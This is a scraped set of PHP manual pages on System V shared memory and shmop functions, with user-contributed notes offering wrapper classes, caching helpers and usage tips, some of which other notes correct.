            $this->nShmId = shm_attach($this->nKey,$this->nBytesMemorySize,$this->nPermissions);
        }

        public function detachFromSegment() {
            shm_detach($this->nShmId);
        }

        public function removeSegment() {
            shm_remove($this->nShmId);
        }

        public function getVarFromSegment() {

            $mVar = NULL;

            if (($mVar = @shm_get_var($this->nShmId,$this->nVarKey)) !== FALSE) {

                $this->mVar = $mVar;

                unset($mVar);

                /*
                    For variables of type boolean we need to access an object property which stores the boolean value.
                    This is needed as shm_get_var() could return FALSE when returning a boolean variable set to FALSE
                    or when a non-existing variable key was tried to access!
                */

                if ($this->mVar instanceof ClassShmBooleanWrapper) {
                    $this->mVar = $this->mVar->bVal;
                }

                return TRUE;
            }
            else {

                return FALSE;
            }

        }

        /**
        * Puts a PHP variable into shared memory (or updates an existing one for the given variable key).
        *
        * @return boolean returns TRUE on success/FALSE on error
        */
        public function putVarToSegment() {

            // cmp -> comment getVarFromSegment()
            if (is_bool($this->mVar)) {

                return shm_put_var($this->nShmId,$this->nVarKey,new ClassShmBooleanWrapper($this->mVar));

            }
            else {
                return shm_put_var($this->nShmId,$this->nVarKey,$this->mVar);
            }

        }

        public function removeVarFromSgement() {

            shm_remove_var($this->nShmId,$this->nVarKey);
        }

    } // end class

    class ClassShmBooleanWrapper {

        public $bVal;

        public function __construct($bVal) {
            $this->bVal = $bVal;
        }

    } // end class

?>
php at pharse dot com 03-Dec-2008 09:05
I was annoyed by this warning when using shm_get_var():

Warning: shm_get_var() [function.shm-get-var]: variable key 2 doesn't exist in PATH_TO_FILE on line 64.

You can suppress the warning by changing the error reporting level. To do this for just the page in question, include the following line:

<?php
    error_reporting(E_ERROR);
?>

For more info: http://us.php.net/error_reporting
ricardophp at yahoo dot com dot br 27-Sep-2008 11:18
A fully functional sample  ...

<?php
echo "<PRE>\n";

define("FOPEN_RESOURCE", 1);

$shm_id = shm_attach(FOPEN_RESOURCE);
if ($shm_id === false) {
    exit("Fail to attach shared memory.\n");
}

$fopen_resource = fopen("/tmp/phpSharedMemory.bin", "w");

$a =  array("Teste1", 1);
if (!shm_put_var($shm_id, $a, $a)) {
    exit("Failed to put var 1 in shared memory $shm_id.\n");
}

echo "F: ".$a[0].":".$a[1]."\n";
$pid = pcntl_fork();

if($pid == -1) {
  die("could not fork\n");
}
else if ($pid) {
    $a = array("Teste2", 3);
    if (!shm_put_var($shm_id, $a, $a)) {
        exit("Failed to put var 1 in shared memory $shm_id.\n");
    }
    echo "P1: ".$a[0].":".$a[1]."\n";
} else {
    sleep(2);
    $a = shm_get_var($shm_id, $a);
    echo "P2: ".$a[0].":".$a[1]."\n";
}
pcntl_wait($status);
exit();
?>
JM 15-May-2005 12:50
To follow up on the posts by anonymous, Bob Van Zant and chris at free-source dot com below (or, as must people inexplicably write, above) regarding the PHP warning and FALSE that shm_get_var returns if the variable key doesn't exist:

My tests (with PHP4.3.4) show that defined() is useless here. Because the function defined(string) checks whether the constant whose name is string exists, the code
<?php
if ( defined(@shm_get_var($mutex, $mutex_key)) {
   ...
}
?>
acts the same ("..." does not get executed) whether the variable is defined or not--unless $mutex_key happens to identify a valid string that happens to be the name of a constant. :)

Rather,
<?php
if ( @shm_get_var($mutex, $mutex_key) === FALSE ) {
   ...
}
?>
works, provided the object that was stored isn't actually FALSE (via <?php shm_put_var($mutex, $mutex_key, FALSE); ?>)

It would be nice to have a completely air-tight solution, though.  D'oh!
06-May-2005 11:01
You will still receive a notice use @:

if(!defined(@shm_get_var($mutex, $mutex_key))) {
       shm_put_var($mutex, $mutex_key, 0);
}
Bob Van Zant 18-Feb-2005 09:05
This seems to work fine to detect the lack of presence of a key in shared memory and then init it to 0 when found:

if(!defined(shm_get_var($mutex, $mutex_key))) {
        shm_put_var($mutex, $mutex_key, 0);
}


Check whether a specific entry exists

  • « shm_get_var
  • shm_put_var »
  • PHP Manual
  • Semaphore Functions
  • Check whether a specific entry exists

shm_has_var

(PHP 5 >= 5.3.0)

shm_has_var — Check whether a specific entry exists

Description

bool shm_has_var ( resource $shm_identifier , int $variable_key )

Checks whether a specific key exists inside a shared memory segment.

Parameters

shm_identifier

Shared memory segment, obtained from shm_attach().

variable_key

The variable key.

Return Values

Returns TRUE if the entry exists, otherwise FALSE

See Also

  • shm_get_var() - Returns a variable from shared memory
  • shm_put_var() - Inserts or updates a variable in shared memory

User Contributed Notes

There are no user contributed notes for this page.


Inserts or updates a variable in shared memory

  • « shm_has_var
  • shm_remove_var »
  • PHP Manual
  • Semaphore Functions
  • Inserts or updates a variable in shared memory

shm_put_var

(PHP 4, PHP 5)

shm_put_var — Inserts or updates a variable in shared memory

Description

bool shm_put_var ( resource $shm_identifier , int $variable_key , mixed $variable )

shm_put_var() inserts or updates the variable with the given variable_key.

Warnings (E_WARNING level) will be issued if shm_identifier is not a valid SysV shared memory index or if there was not enough shared memory remaining to complete your request.

Parameters

shm_identifier

A shared memory resource handle as returned by shm_attach()

variable_key

The variable key.

variable

The variable. All variable types that serialize() supports may be used: generally this means all types except for resources and some internal objects that cannot be serialized.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • shm_get_var() - Returns a variable from shared memory
  • shm_has_var() - Check whether a specific entry exists

User Contributed Notes

cong818 at gmail dot com 24-Dec-2012 08:59
seems to me shm_put_var() doesn't work well with an integer key 0. I changed to 1 and it works like a charm.
Jason Lester 21-Dec-2012 06:28
Yes, it is possible to maintain a real level of resource persistence using shared memory. All vars in PHP are stored in common hashtables as zvals, including resource identifiers. There are hashtables available that outlive the request as long as the entire PHP process isn't shut down. All you need is to store the identifiers in such a hashtable and a way to keep track of them and you can receive the original resource.

I don't know why PHP doesn't provide a way of setting/getting persistent resources, but it is likely do to the many types of SAPI's available for it and the fact that not all of them *can* facilitate this, including CGI which still if far from obsolete.

Another problem is that having such access in userspace is bound to create issues where multiple php processes are trying to access the same resource. Looking at it from this angel you can see that there's really no safe way to safely use such getter/setters without a better synchronism scheme in PHP.
orwellophile at spamtrak dot org 06-Apr-2010 01:17
Quote: "Will it ever support resource identifiers like pfsockopen() pointers ...  we run PHP as a Apache Module ... no way to have true persistent sockets"

Sorry, but that doesn't make sense to me... the socket is still persistent, if you wish to resume it, simply call pfsockopen() with the same host and port - and you will get the same socket.  There is no need to pass the actual resource variable.

If there is something amazingly special and unique about each socket, you can do the following - and this should apply to any persistent resource:

To differentiate between or obtain a specific resource - simply serialize/store an index of each resource's unique ID, along with the particulars that make that resource unique.

You can get a unique resource identifier as an integer value like so:

<?php
   $rid = str_replace("Resource id #", "", print_r($fp, true));
   // $rid = 2
?>

As pfsockopen() uses the hostname and port as a unique key to resume a persistent connection, you can add a DNS wildcard, or a number of manual entries in /etc/hosts (or windows equiv.) as follows:

resource-0.host.com  192.168.100.1
resource-1.host.com  192.168.100.1
resource-2.host.com  192.168.100.1
resource-3.host.com  192.168.100.1

Then, after consulting your serialized list of resources, you can connect to a specific resource by using it's resource id.

eg:  $pf = pfsockopen("resource-$rid.host.com", $port, $timeout);

The new resource will be identical to the original in every way.

For file based stream resources you could do something similar with symlinks, or use the next method...

For URL based or other resources with "paths" (I don't know if there *are* persistent functions that involve such things) you could differentiate between them with using extraneous information in the path.  eg:

  http://host.com/resource-4/../script.php
  http://resource4@host.com/script.php
  /tmp/././././file.txt

In the first example, the extraneous "resource-4" would be ignored by the webserver.

In the second, the superfluous username would be ignored by the webserver.  (Something similar for mysql_pconnect could be done with multiple usernames).

And in the the third example, four sequential occurrences of the "do nothing" string "./" would indicate resource #4.

If this isn't enough, then you can use the fact that PHP shared memory resources are themselves interoperable with those created by their .c counterparts.   That allows you to write a thin .c application to handle the dirty work.

Or you could attempt to reconnect to your own webserver, using persistent streams and the methods outlined above, to achieve the end result.   I can't think of an example of where something so extreme would be necessary, but I'm sure it's not outside the realm of possibility.

I personally use an 117 MB binary database, which is stored in shared memory, both from the command line (using a complied .c application), and from the web (via PHP, and ftok()/shmop_open()/shmop_read()).
ygbr at me dot com 12-Oct-2009 11:25
Will it ever support resource identifiers like pfsockopen() pointers?

The main problem is that when we run PHP as a Apache Module we never know in which process the next request will bind to, making impossible to have true persistent socket connections unless we can store the pointer to it or directly open the socket inode with fopen() like functions and retrieve the same resource pointer again.

I thought I could use shm, but it seems that shm doesn't allow o store resource pointers... sad... :(
Hendrik Klindworth 02-Feb-2009 05:28
shm_put_var has no protection against race conditions. If two scripts insert the same key at the same time php might segfault.
jasonrlester at yahoo dot com 25-Apr-2008 09:51
sadly troy is right

the following script will return:

resource(5) of type (stream)
int(0)

<?php

define("FOPEN_RESOURCE", 1);
define("FOPEN_FILEPATH", "/path/to/file");

$fopen_resource = fopen(FOPEN_FILEPATH, "w");

var_dump($fopen_resource);

$shm_id = shm_attach(1);
if ($shm_id === false)
{
    echo "Fail to attach shared memory.\n";
}

if (!shm_put_var($shm_id, FOPEN_RESOURCE, $fopen_resource))
{
    echo "Failed to put var 1 in shared memory $shm_id.\n";
}

$sm_fopen_resource = shm_get_var($shm_id, FOPEN_RESOURCE);
if ($sm_fopen_resource === false)
{
    echo "Failed to retreive fopen_resource from Shared memory\r\n";
}

var_dump($sm_fopen_resource);

if($shm_id) shm_remove($shm_id);
if($fopen_resource) fclose($fopen_resource);

?>
troy 06-Mar-2008 04:02
This isn't entirely accurate. Not all variable types are supported, you can't put a resource variable into shared memory.

When you try to take it out, it will be a zero.
tomlove at gmail dot com 01-Oct-2004 01:53
Use as few variable_keys as you can. With large arrays of data, rather make the array multi-dimensional and store under one variable_key than use variable_key as your index. The benefit is especially noticeable when repeated fetching from the end of the array is necessary and updates are less frequent.


Removes a variable from shared memory

  • « shm_put_var
  • shm_remove »
  • PHP Manual
  • Semaphore Functions
  • Removes a variable from shared memory

shm_remove_var

(PHP 4, PHP 5)

shm_remove_var — Removes a variable from shared memory

Description

bool shm_remove_var ( resource $shm_identifier , int $variable_key )

Removes a variable with a given variable_key and frees the occupied memory.

Parameters

shm_identifier

The shared memory identifier as returned by shm_attach()

variable_key

The variable key.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • shm_remove() - Removes shared memory from Unix systems

User Contributed Notes

There are no user contributed notes for this page.


Removes shared memory from Unix systems

  • « shm_remove_var
  • Shared Memory »
  • PHP Manual
  • Semaphore Functions
  • Removes shared memory from Unix systems

shm_remove

(PHP 4, PHP 5)

shm_remove — Removes shared memory from Unix systems

Description

bool shm_remove ( resource $shm_identifier )

shm_remove() removes the shared memory shm_identifier. All data will be destroyed.

Parameters

shm_identifier

The shared memory identifier as returned by shm_attach()

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • shm_remove_var() - Removes a variable from shared memory

User Contributed Notes

HansRich 13-Jun-2014 12:17
WARNING: this function WILL NOT destroy the memory segment if there are other processes attached to it, but it will return TRUE anyways!

You will have to try to access the segment again after destroying it to make sure it was relly destroyed.
aaron DURP segura DURP gmail DURP com 20-Aug-2006 01:55
It appears that you must be connected to the shm segment in order to remove it.

<?php
shm_remove($shm);
shm_detach($shm);
?>

works, while

<?php
shm_detach($shm);
shm_remove($shm);
?>

produces "Warning: shm_remove(): The parameter is not a valid shm_identifier ..."
cu at ulakbim dot gov dot tr 30-Dec-1999 05:30
Though it says **shm_identifier** in
  int shm_remove(int shm_identifier);
and
  shm_attach() returns an **id** that that can be used to access the System V...

a snippet like this:
<?php
  $key = 1234;
  $shm=shm_attach($key);
  // do whatever...
  shm_remove($shm);
?>

produces an error like
Warning: 2(which is the value of $shm) is not a existing SysV shared memory key in /usr/cu/web/sema.php on line 44...

The documentation confused me a bit. I thought shm_remove would get the shm handle/id that returns from shm_attach, not the key given to shm_attach. So, use instead:
  shm_remove($key);

which is what is intended indeed.


Shared Memory

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Shared Memory Functions
    • shmop_close — Close shared memory block
    • shmop_delete — Delete shared memory block
    • shmop_open — Create or open shared memory block
    • shmop_read — Read data from shared memory block
    • shmop_size — Get size of shared memory block
    • shmop_write — Write data into shared memory block

User Contributed Notes

mattcsl at gmail dot com 27-Oct-2013 08:58
thankyou,

this function had a missing comma between test1 and test2 and is fixed below

function get_cache_id($name) {
    // maintain list of caches here
    $id=array(  'test1' => 1,
                'test2' => 2
                );

    return $id[$name];
}
makr at makrit dot net 10-Mar-2013 08:05
shmop made simple:
$test=get_cache('test');
save_cache($test, 'test1', 600);

To save/get cache that easily just save this as cache.php or whatever you see fit:

<?php

function save_cache($data, $name, $timeout) {
    // delete cache
    $id=shmop_open(get_cache_id($name), "a", 0, 0);
    shmop_delete($id);
    shmop_close($id);

    // get id for name of cache
    $id=shmop_open(get_cache_id($name), "c", 0644, strlen(serialize($data)));

    // return int for data size or boolean false for fail
    if ($id) {
        set_timeout($name, $timeout);
        return shmop_write($id, serialize($data), 0);
    }
    else return false;
}

function get_cache($name) {
    if (!check_timeout($name)) {
        $id=shmop_open(get_cache_id($name), "a", 0, 0);

        if ($id) $data=unserialize(shmop_read($id, 0, shmop_size($id)));
        else return false;          // failed to load data

        if ($data) {                // array retrieved
            shmop_close();
            return $data;
        }
        else return false;          // failed to load data
    }
    else return false;              // data was expired
}

function get_cache_id($name) {
    // maintain list of caches here
    $id=array(  'test1' => 1
                'test2' => 2
                );

    return $id[$name];
}

function set_timeout($name, $int) {
    $timeout=new DateTime(date('Y-m-d H:i:s'));
    date_add($timeout, date_interval_create_from_date_string("$int seconds"));
    $timeout=date_format($timeout, 'YmdHis');

    $id=shmop_open(100, "a", 0, 0);
    if ($id) $tl=unserialize(shmop_read($id, 0, shmop_size($id)));
    else $tl=array();
    shmop_delete($id);
    shmop_close($id);

    $tl[$name]=$timeout;
    $id=shmop_open(100, "c", 0644, strlen(serialize($tl)));
    shmop_write($id, serialize($tl), 0);
}

function check_timeout($name) {
    $now=new DateTime(date('Y-m-d H:i:s'));
    $now=date_format($now, 'YmdHis');

    $id=shmop_open(100, "a", 0, 0);
    if ($id) $tl=unserialize(shmop_read($id, 0, shmop_size($id)));
    else return true;
    shmop_close($id);

    $timeout=$tl[$name];
    return (intval($now)>intval($timeout));
}

?>


Introduction

Shmop is an easy to use set of functions that allows PHP to read, write, create and delete Unix shared memory segments.

Note: Versions of Windows previous to Windows 2000 do not support shared memory.

Note: In PHP 4.0.3, these functions were prefixed by shm rather than shmop.

User Contributed Notes

There are no user contributed notes for this page.


Installation

To use shmop you will need to compile PHP with the --enable-shmop parameter in your configure line.

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Example #1 Shared Memory Operations Overview

<?php

// Create 100 byte shared memory block with system id of 0xff3
$shm_id = shmop_open(0xff3, "c", 0644, 100);
if (!$shm_id) {
    echo "Couldn't create shared memory segment\n";
}

// Get shared memory block's size
$shm_size = shmop_size($shm_id);
echo "SHM Block Size: " . $shm_size . " has been created.\n";

// Lets write a test string into shared memory
$shm_bytes_written = shmop_write($shm_id, "my shared memory block", 0);
if ($shm_bytes_written != strlen("my shared memory block")) {
    echo "Couldn't write the entire length of data\n";
}

// Now lets read the string back
$my_string = shmop_read($shm_id, 0, $shm_size);
if (!$my_string) {
    echo "Couldn't read from shared memory block\n";
}
echo "The data inside shared memory was: " . $my_string . "\n";

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
    echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

?>

User Contributed Notes

There are no user contributed notes for this page.


Shared Memory Functions

Table of Contents

  • shmop_close — Close shared memory block
  • shmop_delete — Delete shared memory block
  • shmop_open — Create or open shared memory block
  • shmop_read — Read data from shared memory block
  • shmop_size — Get size of shared memory block
  • shmop_write — Write data into shared memory block

User Contributed Notes

joeldg at gmail.com 09-Feb-2006 08:28
I wrote a php memcache back in 2003 as a sort of proof of concept
it is use on a few machines for doing heavy page load caching...
it works very well.
Following are some of the core functions I made

<?php
###############################################
#### shared mem functions
/*
    for debugging these
        use `ipcs` to view current memory
        use `ipcrm -m {shmid}` to remove
        on some systems use `ipcclean` to clean up unused memory if you
        don't want to do it by hand
*/
###############################################
    function get_key($fsize, $file){
        if(!file_exists(TMPDIR.TMPPRE.$file)){
            touch(TMPDIR.TMPPRE.$file);
        }
        $shmkey = @shmop_open(ftok(TMPDIR.TMPPRE.$file, 'R'), "c", 0644, $fsize);
        if(!$shmkey) {
                return false;
        }else{
            return $shmkey;
        }//fi
    }
    function writemem($fdata, $shmkey){
        if(MEMCOMPRESS && function_exists('gzcompress')){
            $fdata = @gzcompress($fdata, MEMCOMPRESSLVL);
        }
        $fsize = strlen($fdata);
        $shm_bytes_written = shmop_write($shmkey, $fdata, 0);
        updatestats($shm_bytes_written, "add");
        if($shm_bytes_written != $fsize) {
                return false;
        }else{
            return $shm_bytes_written;
        }//fi
    }
    function readmem($shmkey, $shm_size){
        $my_string = @shmop_read($shmkey, 0, $shm_size);
        if(MEMCOMPRESS && function_exists('gzuncompress')){
            $my_string = @gzuncompress($my_string);
        }
        if(!$my_string) {
                return false;
        }else{
            return $my_string;
        }//fi
    }
    function deletemem($shmkey){
        $size = @shmop_size($shmkey);
        if($size > 0){ updatestats($size, "del"); }
        if(!@shmop_delete($shmkey)) {
            @shmop_close($shmkey);
                return false;
        }else{
            @shmop_close($shmkey);
            return true;
        }
    }
    function closemem($shmkey){
        if(!shmop_close($shmkey)) {
                return false;
        }else{
            return true;
        }
    }
    function iskey($size, $key){
        if($ret = get_key($size, $key)){
            return $ret;
        }else{
            return false;
        }
    }
################################################
?>
Roy <roy AT enhost.com> 29-Jan-2006 06:58
I have written a script to highlight the superiority of shared memory storage.
Although it doesn't use the shmop function, the underlying concept is similar.
'/shm_dir/' is a tmpfs directory, which is based on shared memory, that I have mounted on the server.

Below is the result on an Intel Pentium VI 2.8 server:

IO test on 1000 files
IO Result of Regular Directory : 0.079015016555786
IO Result of Shared Memory Directory : 0.047761917114258

IO test on 10000 files
IO Result of Regular Directory : 3.7090260982513
IO Result of Shared Memory Directory : 0.46256303787231

IO test on 40000 files
IO Result of Regular Directory : 117.35703110695 seconds
IO Result of Shared Memory Directory : 2.6221358776093 seconds

The difference is not very apparent nor convincing at 100 files.
But when we step it up a level to 10000 and 40000 files, it becomes pretty obvious that Shared Memory is a better contender.

Script courtesy of http://www.enhost.com

<?php
set_time_limit(0);

// Your regular directory. Make sure it is write enabled
$setting['regular_dir'] =  '/home/user/regular_directory/';

// Your shared memory directory.
$setting['shm_dir'] =  '/shm_dir/';

// Number of files to read and write
$setting['files'] =  40000;

function IO_Test($mode)
{
    $starttime = time()+microtime();

    global $setting;

        for($i = 0 ; $i< $setting['files'] ;$i++)
        {
            $filename = $setting[$mode].'test'.$i.'.txt';
            $content = "Just a random content";

                // Just some error detection
               if (!$handle = fopen($filename, 'w+'))
               {
                     echo "Can't open the file ".$filename;
                     exit;
               }

               if (fwrite($handle, $content ) === FALSE)
               {
                   echo "Can't write to file : ".$filename;
                   exit;
               }

               fclose($handle);

            // Read Test
            file_get_contents($filename);

        }

   $endtime = time()+microtime();

   $totaltime = ($endtime - $starttime);

   return $totaltime;

}

echo '<b>IO test on '.$setting['files']. ' files</b><br>';
echo 'IO Result of <b>Regular</b> Directory : '.IO_Test('regular_dir')   .' seconds<br>';
echo 'IO Result of <b>Shared Memory</b> Directory : '.IO_Test('shm_dir')       .' seconds<br>';

/* Removal of files to avoid underestimation
#
#         Failure to remove files will result in inaccurate benchmark
#         as it will result in the IO_Test function not re-creating the existing files
*/
    foreach ( glob($setting['regular_dir']."*.txt") as $filename) {
       unlink($filename);$cnt ++;
    }
    foreach ( glob($setting['shm_dir']."*.txt") as $filename) {
       unlink($filename);$cnt ++;
    }

?>
hackie at prohost dot org 26-Sep-2005 06:33
It's not the job of the shmop extension to provide locking, there are many locking schemes avalible, if you need some sort of atomic operations choose a locking scheme that suits you and use it.
Craig Manley 07-Jan-2005 12:19
Since there is no mention of the (lack of) need for locking here, I took a look into the shmop.c extensions code. So correct me if I'm wrong, but the shmop.c extension uses memcpy() to copy strings to and from shared memory without any form of locking, and as far as I know, memcpy() is not atomic.

If that's true as I suspect, then these 'easy to use' functions are not so 'easy to use' any more and have to be wrapped in locks (e.g. semaphores, flocks, whatever).
stoimenov at email dot com 24-Jul-2002 02:18
Windows does support shared memory through memory mapped file. Check the following functions for details:

 * CreateFileMapping
 * MapViewOfFile
rei at prohost dot org 12-Jan-2001 12:16
The idea behind SHMOP is an easy to use shared memory interface,
without any additional headers added to the shared memory segment
or requiring any special special controls to access the shared memory
segment outside of PHP. SHMOP borrows its api from C's api to shm,
which makes it very easy to use, because it treats shared memory, like C, as
a file of sorts. This makes it very easy to use even for novices, due to this
functionality. Most importantly SHMOP uses shm segments to store raw data,
which means you don't need to worry about matching headers, etc... when you are
using C, perl or other programming languages to open/create/read/write shm segments
that were create or are going to be used by PHP. In this it differs from
sysvshm, who's shm interface uses a specialized header, which resides inside
the shared memory segment this adds an unnecessary level of difficulty when
you want to access php shm from external programs.
Also, from my personal tests in Linux 2.2/2.4 and FreeBSD 3.3 SHMOP is about
20% faster then sysvshm, mostly due to fact it does not need to parse the
specialized header and stores the data in raw form.
slavapl at mailandnews dot com 12-Jan-2001 12:02
What you need to realise is that sysvshm is extremly php oriented in it's ability, it's quite a kludge interfacing other NON PHP utilities with it. For example have you tried using sysvshm to read an shm segment NOT created by php? It's not possible, because sysvshm uses a proprietry format, in essense it can ONLY be used within PHP unless of course you take time to figure out this format.
So basically, the purpose of shmop is to provide a symple interface to shared memory that can be used with OTHER NON php shm creators.

Hope this clears it up.


Close shared memory block

  • « Shared Memory Functions
  • shmop_delete »
  • PHP Manual
  • Shared Memory Functions
  • Close shared memory block

shmop_close

(PHP 4 >= 4.0.4, PHP 5)

shmop_close — Close shared memory block

Description

void shmop_close ( int $shmid )

shmop_close() is used to close a shared memory block.

Parameters

shmid

The shared memory block identifier created by shmop_open()

Return Values

No value is returned.

Examples

Example #1 Closing shared memory block

<?php
shmop_close($shm_id);
?>

This example will close shared memory block identified by $shm_id.

See Also

  • shmop_open() - Create or open shared memory block

User Contributed Notes

slavapl at mailandnews dot com 02-May-2001 09:31
shmop_close doesn't delete the memory segment, it just detaches from it.

If you have created the block and need to delete it you must call shmop_delete **BEFORE** calling shmop_close (for reasons outlined in shmop_delete help page notes).


Delete shared memory block

  • « shmop_close
  • shmop_open »
  • PHP Manual
  • Shared Memory Functions
  • Delete shared memory block

shmop_delete

(PHP 4 >= 4.0.4, PHP 5)

shmop_delete — Delete shared memory block

Description

bool shmop_delete ( int $shmid )

shmop_delete() is used to delete a shared memory block.

Parameters

shmid

The shared memory block identifier created by shmop_open()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Deleting shared memory block

<?php
shmop_delete($shm_id);
?>

This example will delete shared memory block identified by $shm_id.

User Contributed Notes

lizzy 13-Oct-2004 04:19
A helpful hint, although when using shmop on windows (yes you can use shmop on windows in IIS or Apache when used as isapi/module) you can delete a segment and later open a new segment with the SAME KEY in the same script no problem, YOU CANNOT IN LINUX/UNIX - the segment will still exist - it's not immediately deleted - but will be marked for deletion and you'll get errors when trying to create the new one - just a reminder.


Create or open shared memory block

  • « shmop_delete
  • shmop_read »
  • PHP Manual
  • Shared Memory Functions
  • Create or open shared memory block

shmop_open

(PHP 4 >= 4.0.4, PHP 5)

shmop_open — Create or open shared memory block

Description

int shmop_open ( int $key , string $flags , int $mode , int $size )

shmop_open() can create or open a shared memory block.

Parameters

key

System's id for the shared memory block. Can be passed as a decimal or hex.

flags

The flags that you can use:

  • "a" for access (sets SHM_RDONLY for shmat) use this flag when you need to open an existing shared memory segment for read only
  • "c" for create (sets IPC_CREATE) use this flag when you need to create a new shared memory segment or if a segment with the same key exists, try to open it for read and write
  • "w" for read & write access use this flag when you need to read and write to a shared memory segment, use this flag in most cases.
  • "n" create a new memory segment (sets IPC_CREATE|IPC_EXCL) use this flag when you want to create a new shared memory segment but if one already exists with the same flag, fail. This is useful for security purposes, using this you can prevent race condition exploits.

mode

The permissions that you wish to assign to your memory segment, those are the same as permission for a file. Permissions need to be passed in octal form, like for example 0644

size

The size of the shared memory block you wish to create in bytes

Note:

Note: the 3rd and 4th should be entered as 0 if you are opening an existing memory segment.

Return Values

On success shmop_open() will return an id that you can use to access the shared memory segment you've created. FALSE is returned on failure.

Examples

Example #1 Create a new shared memory block

<?php
$shm_key = ftok(__FILE__, 't');
$shm_id = shmop_open($shm_key, "c", 0644, 100);
?>

This example opened a shared memory block with a system id returned by ftok().

See Also

  • shmop_close() - Close shared memory block
  • shmop_delete() - Delete shared memory block

User Contributed Notes

thanks at forthefish dot com 28-Oct-2013 03:24
These shared memory functions are kind of silly on Windows where sem_get() and friends nor any sort of synchronization object is available (as of PHP 5.5.5) to perform proper locking prior to access.  A core PHP dev needs to write some wrappers for sem_get() for Windows as they did for shmop to really round out this feature.

The implementation of shmop for Windows is pretty slick - the author basically ported variations of POSIX functions to Windows equivalent prototypes.
a 26-Feb-2011 01:31
On win xp 32bit php 5.2.6 recreation of shared memory block with the same id but bigger size fails.

<?php
$shm_key = 0xff3;
$shm_id = shmop_open($shm_key, "c", 0666, 128);
shmop_delete($shm_id);
shmop_close($shm_id);
$shm_id = shmop_open($shm_key, "c", 0666, 32);
shmop_delete($shm_id);
shmop_close($shm_id);
$shm_id = shmop_open($shm_key, "c", 0666, 1024); // on win32 fails there
shmop_delete($shm_id);
shmop_close($shm_id);
?>
DinosauRUS 29-Aug-2008 12:24
If you faced with any problem you're going to solve with shared memmory, but your server doesn't support it, you can use files instead. I've wrote simple wrapper for this and its suites for me. Hope it will be usefull for you too.

<?php

define(kSHARED_FOLDER, "shared/");
define(kSHARED_MAX_ATTEMPS, 10);
define(kSESSION_SHARED, "shared_");

class Shared {
    var $id = 0;
    var $filename = '';
    var $filepointer;

    var $data = array();
    var $date = 0;

    function Shared($id) {
        $this->id = $id;

        $this->filename = kSHARED_FOLDER.$this->id;

        if(empty($this->filename))
        {
            print "no filename";
            return false;
        }

        $this->date = $_SESSION[kSESSION_SHARED.$id];

    }

    function clear() {
        if ($this->id == null)
        {
            return false;
        }

        $counter = 0;
        ignore_user_abort(true);
        if(($this->filepointer = @fopen($this->filename, "w")) == false) {
            ignore_user_abort(false);
            return false;
        }

        while(true) {
            if ($counter >= kSHARED_MAX_ATTEMPS) {
                fclose($this->filepointer);
                ignore_user_abort(false);
                return false;
            }

            if(flock($this->filepointer, LOCK_EX) == false) {
                $counter++;
                usleep(rand(1, 25000));
            }
            else
                break;
        }

        if(flock($this->filepointer, LOCK_UN) == false) {
            ignore_user_abort(false);
            return false;
        }

        unset($this->data);
        $this->data = array();

        fclose($this->filepointer);
        $this->date = $_SESSION[kSESSION_SHARED.$id] = filemtime($this->filename);
        ignore_user_abort(false);

        return true;
    }

    function setObjectForKey($value, $key) {
        if ($this->id == null)
            return false;

        $counter = 0;
        ignore_user_abort(true);
        if(($this->filepointer = @fopen($this->filename, "a+")) == false) {
            ignore_user_abort(false);
            print "can not open file<br>";
            return false;
        }

        while(true) {
            if ($counter >= kSHARED_MAX_ATTEMPS) {
                fclose($this->filepointer);
                print("1 aborted...");
                ignore_user_abort(false);
                return false;
            }

            $block;
            if(flock($this->filepointer, LOCK_EX, $block) == false) {
                $counter++;
                print("1 waiting...");
                usleep(rand(1, 25000));
            }
            else
                break;
        }

        $data = file_get_contents($this->filename);
        $array = array();
        if (!empty($data))
            $array = unserialize($data);

        $array[$key] = $value;
        $data = serialize($array);
        ftruncate($this->filepointer, 0);
        fseek($this->filepointer, 0, SEEK_SET);
        fwrite($this->filepointer, $data);

        $this->data = $array;

        if(flock($this->filepointer, LOCK_UN) == false) {
            ignore_user_abort(false);
            return false;
        }

        fclose($this->filepointer);
        $this->date = $_SESSION[kSESSION_SHARED.$id] = filemtime($this->filename);
        ignore_user_abort(false);

        return true;
    }

    function getObjectForKey($key)    {
        if ($this->id == null)
            return null;

        $counter = 0;
        ignore_user_abort(true);

        if(($this->filepointer = @fopen($this->filename, "a+")) == false) {
            ignore_user_abort(false);
            print("can not open<br>");
            return null;
        }

        if ($this->date == filemtime($this->filename)) {
            fclose($this->filepointer);
            return $this->data[$key];
        }

        while(true) {
            if ($counter >= kSHARED_MAX_ATTEMPS) {
                fclose($this->filepointer);
                ignore_user_abort(false);
                print("2 aborted<br>");
                return null;
            }

            if(flock($this->filepointer,  LOCK_SH ) == false) {
                $counter++;
                print("2 waiting...<br>");
                usleep(rand(1, 25000));
            }
            else
                break;
        }

        fseek($this->filepointer, 0);
        $data = file_get_contents($this->filename);
        $array = array();
        if (!empty($data))
            $array = unserialize($data);

        $data = $array[$key];
        $this->data = $array;

        if(flock($this->filepointer, LOCK_UN) == false) {
            ignore_user_abort(false);
            return $data;
        }

        fclose($this->filepointer);
        $this->date = $_SESSION[kSESSION_SHARED.$id] = filemtime($this->filename);
        ignore_user_abort(false);

        return $data;
    }
}
?>
erelsgl at gmail dot com 27-Nov-2007 12:04
=== Checking if a shared memory exists ===
The solution provided by Mitchell_Shnier at ieee dot orgZ doesn't work on my computer - I get a warning "Invalid flag ac".

In order to check if a shared-memory exists, you just have to open it with the "a" or "w" flag, while hiding the warnings using the "@" operator:
<?php
@$shid = shmop_open($systemId, "a", 0666, 0);
if (!empty($shid)) {
            ... shared memory exists
} else {
            ... shared memory doesn't exist
}
?>
Craig Manley 06-Jan-2005 02:19
To: macmaster at pobox dot com:

To clear up some new confusion: you said the shm key is 8 bytes long. As far as I know it's 4 bytes (32bits).
Check out the output of ipcs on Linux below to see what I mean.

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0x6e6a694d 65538      mijnbel   644        65536      0
0x326e794d 98307      mijnbel   644        65536      0
0x62417347 131076     smsklap   644        65536      0
